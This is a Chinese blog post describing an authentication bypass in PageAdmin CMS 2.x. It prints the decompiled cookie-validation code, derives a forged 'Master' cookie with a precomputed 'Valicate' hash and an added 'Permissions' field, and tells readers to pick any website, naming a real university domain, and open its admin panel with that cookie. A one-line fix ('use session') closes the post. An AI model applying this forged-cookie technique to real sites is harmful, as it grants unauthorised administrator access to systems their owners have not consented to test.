好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

PageAdmin CMS 2.x后台登陆绕过 - 网站安全 - 自学ph

后台使用Master_Valicate.Master_Check函数来验证用户是否登陆,下面是此函数代码

 

if (HttpContext.Current.Request.Cookies["Master"] != null) { if (HttpContext.Current.Request.Cookies["Master"].Values["LoginProcess"] != null) { Md5 md = new Md5(); string string_ = HttpContext.Current.Request.Cookies["Master"].Values["UserName"].ToString(); string str = HttpContext.Current.Request.Cookies["Master"].Values["LoginDate"].ToString(); string b = HttpContext.Current.Request.Cookies["Master"].Values["Valicate"].ToString(); if (!this.method_1(string_) || md.Get_Md5(str) != b) { HttpContext.Current.Response.Write("<script language=javascript>alert('非法登陆!');top.location.href='login. asp x';</script>"); HttpContext.Current.Response.End(); } } else { HttpContext.Current.Response.Write("<script language=javascript>alert('未登陆或登陆超时!');top.location.href='login.aspx';</script>"); HttpContext.Current.Response.End(); } } else { HttpContext.Current.Response.Write("<script language=javascript>alert('未登陆或登陆超时!');top.location.href='login.aspx';</script>"); HttpContext.Current.Response.End(); }

 

 

 

首先它检测cookie Master是否存在,这里是可以定义Cookie来绕过,继续往下

 

它检测Master[LoginProcess]是否存在,最后再获取Master[UserName],Master[LoginDate],Master[Valicate]的值,然后检测UserName是不是字符串,然后检测Valicate的值是不是等于md.Get_Md5(LoginDate),如果都OK,就绕过了验证。

 

那么我们就可以设置Cookie,只要让Valicate==md.Get_Md5(LoginDate)就行

 

我们先让LoginDate=1,然后写个aspx文件,计算出md.Get_Md5("1")的值

 

最后Cookie就是Master=1&LoginProcess=1&UserName=admin&LOginDate=1&Valicate=12b36e45c2df117d12a068814d826283f9c32f845e1589142208628b13f

 

访问下后台,会报错,错误出在PageAdmin.masterhead.Page_Load

 

查看此处代码,发现有这句

 

string text = HttpContext.Current.Request.Cookies["Master"].Values["Permissions"].ToString();

 

所以cookie还要再加上Permissions才行,最后构造出来的Cookie就是

 

 

随便找个网站,如http://scxy.shmtu.edu.cn

 

打开网站,然后设置下cookie

 

 

直接访问后台/master/index.aspx

 

 

修复方案:

用session

查看更多关于PageAdmin CMS 2.x后台登陆绕过 - 网站安全 - 自学ph的详细内容...

  阅读:83次